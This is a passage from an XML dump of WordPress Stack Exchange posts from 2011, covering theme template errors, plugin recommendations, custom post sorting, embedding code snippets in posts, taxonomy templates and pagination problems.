class=\&quot;last\&quot;&quot;;&#xA;                   }&#xA;?&amp;gt;&amp;gt;&amp;lt;a href=&quot;#&quot; rel=&quot;nofollow&quot;&amp;gt;&amp;lt;span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;?php&#xA;                   unset($img);&#xA;                   if (current_theme_supports('post-thumbnails') &amp;amp;&amp;amp; has_post_thumbnail()) {&#xA;                       $thumbURL = wp_get_attachment_image_src(get_post_thumbnail_id($post-&amp;gt;ID), '');&#xA;                       $img = $thumbURL[0];&#xA;                   } else {&#xA;                       unset($img);&#xA;                       if ($wpzoom_cf_use == 'Yes') {&#xA;                           $img = get_post_meta($post-&amp;gt;ID, $wpzoom_cf_photo, true);&#xA;                       } else {&#xA;                           if (!$img) {&#xA;                               $img = catch_that_image($post-&amp;gt;ID);&#xA;                           }&#xA;                       }&#xA;                   }&#xA;                   if ($img) {&#xA;?&amp;gt;&amp;lt;img src=&quot;&amp;lt;?php&#xA;                       bloginfo('template_directory');&#xA;?&amp;gt;/scripts/timthumb.php?src=&amp;lt;?php&#xA;                       echo $img&#xA; ?&amp;gt;&amp;amp;amp;h=98&amp;amp;amp;w=135&amp;amp;amp;zc=1&quot; alt=&quot;&amp;lt;?php&#xA;                       the_title();&#xA;?&amp;gt;&quot; width=&quot;135&quot; height=&quot;98&quot; /&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&amp;lt;?php&#xA;                   }&#xA;?&amp;gt;          &amp;lt;?php&#xA;                   endwhile;&#xA;?&amp;gt;        &amp;lt;/ul&amp;gt;         &amp;lt;div class=&quot;cleaner&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/div&amp;gt;              &amp;lt;/div&amp;gt;&amp;lt;!-- end #featPostsSmall --&amp;gt;      &amp;lt;?php&#xA;                   endif;&#xA;?&amp;gt;      &amp;lt;a href=&quot;#&quot; class=&quot;browse previous&quot;&amp;gt;Prev&amp;lt;/a&amp;gt;    &amp;lt;a href=&quot;#&quot; class=&quot;browse next&quot;&amp;gt;Next&amp;lt;/a&amp;gt;      &amp;lt;/div&amp;gt;&amp;lt;!-- end #featPosts --&amp;gt;      &amp;lt;?php&#xA;                   wp_reset_query();&#xA;?&amp;gt;&amp;lt;script type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&amp;gt;jQuery(document).ready(function($){    $('#featPosts').loopedSlider({      autoHeight: true,      containerClick: false,      slidespeed: 500,      pauseOnHover: &amp;lt;?php&#xA;                   if ($wpzoom_slideshow_pause == 'Yes') {&#xA;?&amp;gt;true&amp;lt;?php&#xA;                   }&#xA;?&amp;gt; &amp;lt;?php&#xA;                   if ($wpzoom_slideshow_pause == 'No') {&#xA;?&amp;gt;false&amp;lt;?php&#xA;                   }&#xA;?&amp;gt;,      addPagination: true,         autoStart: &amp;lt;?php&#xA;                   if ($wpzoom_slideshow_auto == 'Yes') {&#xA;?&amp;gt;&amp;lt;?php&#xA;                       echo &quot;$wpzoom_slideshow_speed&quot;;&#xA;?&amp;gt;&amp;lt;?php&#xA;                   }&#xA;?&amp;gt; &amp;lt;?php&#xA;                   if ($wpzoom_slideshow_auto == 'No') {&#xA;?&amp;gt;0&amp;lt;?php&#xA;                   }&#xA;?&amp;gt;    });  });&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;sorry for posting the code in one line like that, how do i post in in a block?&lt;/p&gt;&#xA;" OwnerUserId="6133" LastEditorUserId="1986" LastEditorDisplayName="" LastEditDate="2011-06-20T23:22:57.033" LastActivityDate="2011-06-20T23:45:19.730" Title="Parse error: syntax error, unexpected T_ENDWHILE in" Tags="&lt;wordpress.com&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="20547" PostTypeId="2" ParentId="20545" CreationDate="2011-06-20T23:16:32.937" Score="0" ViewCount="" Body="&lt;p&gt;If secondary loops are called properly (i.e. by not mucking with &lt;code&gt;query_posts()&lt;/code&gt;, and by setting a variable &lt;code&gt;$myloop&lt;/code&gt; equal to &lt;code&gt;get_posts()&lt;/code&gt; or &lt;code&gt;new WP_Query&lt;/code&gt;), then identifying said loop is as simple as referencing the variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to call a second loop from within the primary Loop, and you call &lt;code&gt;setup_postdata()&lt;/code&gt; in the secondary loop, you may need to call &lt;code&gt;wp_reset_query()&lt;/code&gt; when you close your secondary loop, so that your template tags revert to applying to the primary Loop.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-20T23:16:32.937" CommentCount="1" />
  <row Id="20549" PostTypeId="2" ParentId="20546" CreationDate="2011-06-20T23:45:19.730" Score="1" ViewCount="" Body="&lt;p&gt;As this is a commercial Theme, it is difficult to troubleshoot the problem since we don't have access to the Theme template files. For instance, the parse error message indicates an endwhile issue in Line 1, but in your pasted code, Line 1 is a variable definition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may need to consult WPZoom for support.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-20T23:45:19.730" />
  <row Id="20551" PostTypeId="1" CreationDate="2011-06-21T00:30:40.007" Score="2" ViewCount="77" Body="&lt;p&gt;I'm looking for a good plugin I can integrate in my template to show screenshots. Today I am using Wordpress Simple Website Screenshot, but it's too unstable. I post a lot of posts per day and my problem is that it doesn't load all the screenshots. You have to reload several times before it shows. This is not acceptable for me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One solution could be to store the screenshots locally to make it more stable. Do you have any suggestions how to make this as stable as possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link to example post: &lt;a href=&quot;http://bit.ly/jjO4z1&quot; rel=&quot;nofollow&quot;&gt;http://bit.ly/jjO4z1&lt;/a&gt; (with bit.ly because of google searches on the site)&lt;/p&gt;&#xA;" OwnerUserId="2188" LastEditorUserId="2188" LastEditorDisplayName="" LastEditDate="2011-06-21T00:40:17.040" LastActivityDate="2011-06-21T03:05:20.913" Title="Good website screenshot plugin" Tags="&lt;plugins&gt;&lt;plugin-recommendation&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="20552" PostTypeId="2" ParentId="20542" CreationDate="2011-06-21T00:45:50.977" Score="0" ViewCount="" Body="&lt;p&gt;The best would be to use (or take a look at) &lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-mobile-edition/&quot; rel=&quot;nofollow&quot;&gt;Carringtion Mobile&lt;/a&gt;. It's developed by a known Author with lots of reputation since a long time.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-06-21T00:45:50.977" />
  <row Id="20553" PostTypeId="2" ParentId="20537" CreationDate="2011-06-21T00:49:42.440" Score="0" ViewCount="" Body="&lt;p&gt;not 100% sure what you're after but this may help ... i did a site one time and one special set of &quot;pages&quot; on the site were sort of sectionalised  ( eg each page consisted of a title and about 4 other &quot;fields&quot; ) .... the way i did it in the back end was to do like dzogchen suggested use custom fields ... so i used the title from the wordpress system and then i set up 4 custom fields and then to make it look good for the user what i did was to go to the &quot;screen options&quot; at the top and turn off the visual editor ..... ### actually sorry scratch all that (i've left it in because it may actually work for you) ####  ... i think how i achieved this was that i used a custom post type and did all of what i just said in the programming because the template tags allow you to turn on and off what is seen in the editor .... yes it's coming back to me now ( sorry but it's a while back ) .... what you'd need to do that is a combination of custom post types and &lt;a href=&quot;http://codex.wordpress.org/Settings_API&quot; rel=&quot;nofollow&quot;&gt;the settings api&lt;/a&gt; ... this makes it very slick but warning the settings api is very good, very powerful but takes a bit of working out ( also tip if you are going this way there are two ways of doing settings in wp the new way and the old .... dont get mixed up )&lt;/p&gt;&#xA;" OwnerUserId="6169" LastActivityDate="2011-06-21T00:49:42.440" CommentCount="3" />
  <row Id="20554" PostTypeId="1" CreationDate="2011-06-21T00:54:08.910" Score="2" ViewCount="95" Body="&lt;p&gt;My custom 'Home' page is set to sort my custom posts via the custom date field with this (updated to be custom named) code in functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// sort order for home page&#xA;add_action('wp', 'wwgo_check_page');&#xA;function wwgo_check_page () {&#xA;if (is_page()) {&#xA;    add_filter('get_previous_post_sort', 'sort_it');&#xA;    add_filter('get_next_post_sort', 'sort_it');&#xA;    add_filter('posts_orderby', 'sort_it' );&#xA;    add_filter('posts_join', 'join_it' );&#xA;    add_filter('posts_where', 'where_it' );&#xA;&#xA;    function sort_it () {&#xA;        global $wpdb;&#xA;&#xA;        return &quot; $wpdb-&amp;gt;postmeta.meta_value ASC &quot;;&#xA;    }&#xA;&#xA;    function join_it( $join ) {&#xA;        global $wpdb;&#xA;&#xA;        $join .= &quot; LEFT JOIN $wpdb-&amp;gt;postmeta ON($wpdb-&amp;gt;posts.ID = $wpdb-&amp;gt;postmeta.post_id) &quot;;&#xA;&#xA;      return $join;&#xA;    }&#xA;&#xA;    function where_it( $where ) {&#xA;        global $wpdb;&#xA;        $where .= &quot;AND $wpdb-&amp;gt;postmeta.meta_key = 'deadline' &quot;;&#xA;&#xA;      return $where;&#xA;    }&#xA;}&#xA;&#xA;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which is dandy and simple. Now. I want this to work across the whole site. I want posts on archive pages, categories etc to be sorted first by the custom date field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried changing the '&lt;code&gt;if&lt;/code&gt;' to &lt;code&gt;is_archive()&lt;/code&gt; but that had no effect. I tried &lt;code&gt;&amp;lt;! is_single()&amp;gt;&lt;/code&gt; too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I'm sure it should be something simple. But I'm new to php and thus clueless.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the &lt;a href=&quot;http://lit.wyli.co.uk&quot; rel=&quot;nofollow&quot;&gt;site&lt;/a&gt;, where you can see the home page is nicely sorted, but if you click 'poetry' (the only one with a few posts), sorting doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions will be met with much joy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank You Kindly.&lt;/p&gt;&#xA;" OwnerUserId="6353" LastEditorUserId="6353" LastEditorDisplayName="" LastEditDate="2011-06-24T13:45:46.713" LastActivityDate="2011-06-24T13:45:46.713" Title="Order posts (across the whole site) by metadata date" Tags="&lt;functions&gt;&lt;query&gt;&lt;archive&gt;" CommentCount="13" FavoriteCount="2" />
  <row Id="20555" PostTypeId="2" ParentId="20527" CreationDate="2011-06-21T01:03:44.410" Score="1" ViewCount="" Body="&lt;p&gt;I needed something similar a while ago. The following code is from my comment callback function. Inside your comment callback function, call  &lt;code&gt;wpse20527_count_children();&lt;/code&gt;. I assume that your &lt;code&gt;$number&lt;/code&gt; is a global variable.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpse20527_count_children()&#xA;{&#xA;    static $ancestors = null;&#xA;    $parent = (int) $comment-&amp;gt;comment_parent;&#xA;&#xA;    $is_child = false;&#xA;    if ( $parent &amp;gt; (int) 0 )&#xA;    {&#xA;        $is_child = true;&#xA;&#xA;        if ( ! isset( $ancestors ) )&#xA;            $ancestors = array();&#xA;&#xA;        if ( ! array_key_exists( $parent, $ancestors ) )&#xA;        {&#xA;            $ancestors[$parent] = get_comment_ID();&#xA;        }&#xA;        else &#xA;        {&#xA;            foreach ( $ancestors as $parent_id =&amp;gt; $child_id )&#xA;            {&#xA;                if ( $parent_id == $parent )&#xA;                {&#xA;                    $ancestors_temp[$parent_id] = $child_id;&#xA;                    break;&#xA;                }&#xA;&#xA;                $ancestors_temp[$parent_id] = $child_id;&#xA;            }&#xA;            $ancestors = $ancestors_temp;&#xA;        }&#xA;&#xA;        $parent_counter = count( $ancestors );&#xA;    }&#xA;    return $GLOBALS['number'] + $parent_counter;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-06-21T01:03:44.410" CommentCount="2" />
  <row Id="20556" PostTypeId="2" ParentId="20542" CreationDate="2011-06-21T01:13:38.647" Score="1" ViewCount="" Body="&lt;p&gt;It's really not a &quot;wordpress&quot; specific, it's just the css. You just give it a css for mobile browsers. That's it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here are few good readings on how to get about the css for mobile:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.html5rocks.com/en/mobile/mobifying.html&quot; rel=&quot;nofollow&quot;&gt;http://www.html5rocks.com/en/mobile/mobifying.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://net.tutsplus.com/tutorials/html-css-techniques/responsive-web-design-a-visual-guide/&quot; rel=&quot;nofollow&quot;&gt;http://net.tutsplus.com/tutorials/html-css-techniques/responsive-web-design-a-visual-guide/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;if you still have some questions, feel free to ask. ;)&lt;/p&gt;&#xA;" OwnerUserId="974" LastActivityDate="2011-06-21T01:13:38.647" />
  <row Id="20557" PostTypeId="2" ParentId="20518" CreationDate="2011-06-21T01:27:48.287" Score="1" ViewCount="" Body="&lt;p&gt;You can use &lt;code&gt;current_user_has_role&lt;/code&gt; for this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if the standard roles are not enough for you, then I would suggest to download the Members plugin by Justin Tadlock which enables you to add roles.&lt;/p&gt;&#xA;" OwnerUserId="2015" LastActivityDate="2011-06-21T01:27:48.287" CommentCount="2" />
  <row Id="20558" PostTypeId="1" CreationDate="2011-06-21T01:50:12.403" Score="1" ViewCount="102" Body="&lt;p&gt;I have two blog sites.  One hosted with Wordpress.com, one self-hosted with Wordpress.org&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are a technical company, and a number of our blog posts will be about HTML, Javascript, .NET, etc.  and we would like to embed code snippets within our posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have about 20 authors on each blog, and from experience, I need to make inserting code snippets as easy and user friendly as possible.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Wordpress.org&lt;/strong&gt;&lt;br&gt;&#xA;I saw, for Wordpress.org, this &lt;a href=&quot;http://codex.wordpress.org/Writing_Code_in_Your_Posts&quot; rel=&quot;nofollow&quot;&gt;article&lt;/a&gt;.&lt;br&gt;&#xA;From what I understand, when writing with the HTML editor, if you apply the tags &lt;code&gt;&amp;lt;code&amp;gt; some code&amp;lt;/code&amp;gt;&lt;/code&gt; then this preserves the formatting.&lt;br&gt;&#xA;- Its ok. But the major downfall, is ease of use.  For example, compare it to stack exchange text editor - there is no need to switch to HTML view and write tags, you use the 'Code Sample' button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there are a heap of &lt;a href=&quot;http://speckyboy.com/2009/02/19/12-wordpress-plugins-to-display-and-highlight-code-within-your-blog/&quot; rel=&quot;nofollow&quot;&gt;plugins&lt;/a&gt; out there.&lt;br&gt;&#xA;Is there a general consensus on the best way to embed code in wordpress.org posts?  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;My requirements are for it to be as easy as it is with Stack Exchange.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Wordpress.com&lt;/strong&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://en.support.wordpress.com/code/posting-source-code/&quot; rel=&quot;nofollow&quot;&gt;It appears I can also use the code tags&lt;/a&gt; with wp.com.&lt;br&gt;&#xA;I guess the advanatage of telling my users to use this approach, would mean there would not be any confusion with authors who contribute to both blogs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was currently using the 'preformatted' text format from the extended toolbar (kitchen sink).&lt;br&gt;&#xA;I assume there are no other options?&lt;/p&gt;&#xA;" OwnerUserId="4280" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-06-21T02:31:10.307" LastActivityDate="2011-06-21T03:59:22.090" Title="Best Practise on embedding code on Wordpress?" Tags="&lt;plugin-recommendation&gt;&lt;syntax-highlighting&gt;" AnswerCount="3" />
  <row Id="20560" PostTypeId="2" ParentId="20542" CreationDate="2011-06-21T02:29:05.380" Score="0" ViewCount="" Body="&lt;p&gt;You might find this series helpful is creating your own mobile theme. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://mobile.tutsplus.com/tutorials/mobile-web-apps/jqtouch-mobile-wordpress-1/&quot; rel=&quot;nofollow&quot;&gt;http://mobile.tutsplus.com/tutorials/mobile-web-apps/jqtouch-mobile-wordpress-1/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A good idea would be to work a mobile stylesheet into your current theme. As one of the links added before this answer will stipulate, making your theme responsive is the way things are moving these days.&lt;/p&gt;&#xA;" OwnerUserId="6154" LastActivityDate="2011-06-21T02:29:05.380" />
  <row Id="20561" PostTypeId="2" ParentId="20558" CreationDate="2011-06-21T02:36:16.043" Score="0" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Selfhosted:&lt;/strong&gt; You can make shorttags/shortcodes (which most plugins likely will already do) or make custom post types for code-resources, add a meta box to your post edit screens and link from there to your custom post types containing the snippets. Both solutions will likely be a lot of work and nearly the same as using a well written plugin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My recommendation:&lt;/strong&gt; Stick with a plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Ad &lt;code&gt;&amp;lt;code&amp;gt;&lt;/code&gt;:&lt;/strong&gt; If you're writing about code you should already be familiar with basic html (so I guess I missunderstood your Q), but anyway: &lt;code&gt;&amp;lt;code&amp;gt;&lt;/code&gt; is for inline code and &lt;code&gt;&amp;lt;pre&amp;gt;&lt;/code&gt; is for multi line code. The later will preserve line breaks, but the look and feel relies on your css styles.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-06-21T02:36:16.043" CommentCount="2" />
  <row Id="20562" PostTypeId="1" AcceptedAnswerId="20570" CreationDate="2011-06-21T02:46:13.277" Score="1" ViewCount="134" Body="&lt;p&gt;What I'm working on are the pages that you go to after clicking on a custom taxonomy on the front-end. I'm to the point where I've duplicated category.php, renamed it taxonomy-tr_property_region.php so that I can edit how posts with the taxonomy tr_property_region are displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I understand correctly I need to edit loop.php, but I don't want taxonomy-tr_property_region.php to look the same as taxonomy-language.php is there a way to not use get_template_part( 'loop', 'category' );&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example being I want to change this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_template_part( 'loop', 'category' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To be something more like this,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div&amp;gt;&#xA;&amp;lt;?php &#xA;  $loop = whatever replaces get_template_part( 'loop', 'category' ); &#xA;?&amp;gt;&#xA;&amp;lt;?php while ( $loop-&amp;gt;have_posts() ) : $loop-&amp;gt;the_post(); ?&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;fullWidthContent&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;trPropSearchHeader&quot;&amp;gt;&#xA;  &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;  &amp;lt;?php $meta = get_post_meta(get_the_ID(), 'rw_propCity', true); echo $meta; ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;trPropSearchThumbnail&quot;&amp;gt;&#xA;  &amp;lt;?php if ( has_post_thumbnail()) : ?&amp;gt;&#xA;    &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php the_title_attribute(); ?&amp;gt;&quot; &amp;gt;&#xA;      &amp;lt;?php the_post_thumbnail('thumbnail'); ?&amp;gt;&#xA;    &amp;lt;/a&amp;gt;&#xA;  &amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;trPropSearchDetailsContainer&quot;&amp;gt;          &#xA;  &amp;lt;?php $meta = get_post_meta(get_the_ID(), 'rw_propBedrooms', true); echo $meta; ?&amp;gt;&#xA;  &amp;lt;?php $meta = get_post_meta(get_the_ID(), 'rw_propBathrooms', true); echo $meta; ?&amp;gt;&#xA;  &amp;lt;?php $meta = get_post_meta(get_the_ID(), 'rw_propDesc', true); echo $meta; ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;  &#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4090" LastActivityDate="2011-06-21T07:02:08.687" Title="Customize category page for different custom taxonomies" Tags="&lt;categories&gt;&lt;taxonomy&gt;&lt;archive&gt;" AnswerCount="1" />
  <row Id="20563" PostTypeId="2" ParentId="20558" CreationDate="2011-06-21T02:57:47.643" Score="0" ViewCount="" Body="&lt;p&gt;One thing I will add from personal experience:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be cautious when embedding code that you will supply for others if you aren't using some type of a syntax highlighter. I've tried both the suggestions of using &lt;code&gt;&amp;lt;pre&amp;gt;&amp;lt;/pre&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&lt;/code&gt; tags. They will add an additional space to your php tags, and can also have negative effects on single and double quotes. It wouldn't be good if you suddenly had a blog full of angry users. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest using a syntax highlighter if you plan on offering snippets for others to use. I'll give my suggestion, but I would like to hear what others use as well, so hopefully someone will &quot;chime in&quot;:&#xA;One that I know will work is from Snipplr &lt;a href=&quot;http://snipplr.com/&quot; rel=&quot;nofollow&quot;&gt;link to snipplr site&lt;/a&gt; (this requires you to sign-up, then you can use the WordPress plugin found here: &lt;a href=&quot;http://wordpress.org/extend/plugins/snipplr-snippets/&quot; rel=&quot;nofollow&quot;&gt;Link to WP Plugin Directory&lt;/a&gt;. I hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="5339" LastActivityDate="2011-06-21T02:57:47.643" />
  <row Id="20564" PostTypeId="2" ParentId="20551" CreationDate="2011-06-21T03:05:20.913" Score="2" ViewCount="" Body="&lt;p&gt;I would try this plugin, it uses the WordPress.com system: &lt;a href=&quot;http://www.binarymoon.co.uk/2010/02/automated-take-screenshots-website-free/&quot; rel=&quot;nofollow&quot;&gt;An Automated Way to Take Screenshots of any Website&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1057" LastActivityDate="2011-06-21T03:05:20.913" CommentCount="4" />
  <row Id="20565" PostTypeId="1" CreationDate="2011-06-21T03:24:36.270" Score="2" ViewCount="114" Body="&lt;p&gt;I'm passing a GET variable at the end of my URL's as my search parameter. When I do a regular search, everything works fine:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;www.mysite.com/?find=my+search&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I click over to the second page of results, Wordpress strips the search query of spaces and converts the URL to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;www.mysite.com/page/2/?find=mysearch&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the WP-PageNavi plugin and checked that the URL for the next page is correct: &lt;em&gt;www.mysite.com/page/2/?find=my+search&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My permalinks structure is: /%post_id%/%postname%/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Has anyone had experience with Wordpress stripping out the spaces from your URL when using custom permalinks?&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any help! I haven't been able to find much online about this except a few other people with the same problem.&lt;/p&gt;&#xA;" OwnerUserId="3379" LastActivityDate="2011-08-21T18:33:03.437" Title="Why does Wordpress Pagination Remove the Spaces from my GET Variable?" Tags="&lt;permalinks&gt;&lt;variables&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="20566" PostTypeId="1" AcceptedAnswerId="23930" CreationDate="2011-06-21T03:43:35.543" Score="1" ViewCount="37" Body="&lt;p&gt;&lt;strong&gt;How can I programmatically create a connection between one custom post type, cpt, (with post id known) to another on cpt on publish?&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using &lt;a href=&quot;http://voodoopress.com/2011/03/add-a-meta-box-to-use-custom-fields-on-front-end-post-form/&quot; rel=&quot;nofollow&quot;&gt;VoodooPress's front-end posting method&lt;/a&gt; to publish a post type called &lt;em&gt;post-type-A&lt;/em&gt;. One input field in the &lt;em&gt;post-type-A&lt;/em&gt; form is the public inventory number, which through some wp_query love gives me the post id of the &lt;em&gt;post-type-B&lt;/em&gt; that I wish to create a relationship with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that I can use &lt;a href=&quot;http://wpcanyon.com/tipsandtricks/adding-a-custom-field-automatically-on-postpage-publish/&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; function to create a one-way connection from &lt;em&gt;post-type-A&lt;/em&gt; to &lt;em&gt;post-type-B&lt;/em&gt; using a custom field.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('publish_page', 'add_custom_field_automatically');&#xA;add_action('publish_post', 'add_custom_field_automatically');&#xA;function add_custom_field_automatically($post_ID) {&#xA;    global $wpdb;&#xA;    if(!wp_is_post_revision($post_ID)) {&#xA;        add_post_meta($post_ID, 'field-name', 'custom value', true);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But how do I programmatically create a connection using @Scribu's &lt;a href=&quot;http://scribu.net/wordpress/posts-to-posts&quot; rel=&quot;nofollow&quot;&gt;Posts 2 Posts&lt;/a&gt; plugin? A two-way relationship would reduce a lot of hassle and programming time.  :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For reference, the snippet below is the &lt;a href=&quot;http://plugins.trac.wordpress.org/browser/posts-to-posts/tags/0.2/api.php#L41&quot; rel=&quot;nofollow&quot;&gt;connect api reference&lt;/a&gt; for the plugin...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Connect a post to another one&#xA; *&#xA; * @param int $post_a The first end of the connection&#xA; * @param int $post_b The second end of the connection&#xA; * @param bool $bydirectional Wether the connection should be bydirectional&#xA; */&#xA;function p2p_connect( $post_a, $post_b, $bydirectional = false ) {&#xA;        add_post_meta( $post_a, P2P_META_KEY, $post_b );&#xA;&#xA;        if ( $bydirectional )&#xA;                add_post_meta( $post_b, P2P_META_KEY, $post_a );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1057" LastEditorUserId="1057" LastEditorDisplayName="" LastEditDate="2011-06-21T03:48:58.303" LastActivityDate="2011-07-24T19:31:51.400" Title="How to programmatically create a connection with [Plugin: Posts 2 Posts] on cpt publish?" Tags="&lt;custom-post-types&gt;&lt;post-meta&gt;&lt;publish&gt;&lt;plugin-posts-to-posts&gt;" AnswerCount="1" />
  <row Id="20567" PostTypeId="2" ParentId="20558" CreationDate="2011-06-21T03:59:22.090" Score="1" ViewCount="" Body="&lt;p&gt;I needed something like this and tried like 20 related plugins, and they all failed in one way or another. Most of the problems come from WP filters messing with the code, like converting &lt;code&gt;:)&lt;/code&gt; to smilies, or adding &lt;code&gt;rel=&quot;nofollow&quot;&lt;/code&gt; to links etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I ended up creating my own functions. Basically I hook a function on &lt;code&gt;the_content&lt;/code&gt;/&lt;code&gt;comment_text&lt;/code&gt; with the highest priority, in which I replace all content between PRE/CODE tags with a unique ID, like &lt;code&gt;&amp;lt;-- CODE 1 HERE --&amp;gt;&lt;/code&gt;, while I save this content inside a variable (and convert it to HTML entities).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I hook another function on the same tags but with the lowest priority (after all those WP filters have been applied to the content), and I replace the ID above with the code stored in the variable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the code remains unaltered by any filters. Then I run a simple javascript syntax highlighter script - I chose &lt;a href=&quot;http://softwaremaniacs.org/soft/highlight/en/&quot; rel=&quot;nofollow&quot;&gt;highlight.js&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can post my code if you wish...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stackexchange uses &lt;a href=&quot;http://daringfireball.net/projects/markdown/&quot; rel=&quot;nofollow&quot;&gt;markdown&lt;/a&gt;, the code gets wrapped between ticks, not html tags. Anyway, the idea remains the same&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-06-21T03:59:22.090" />
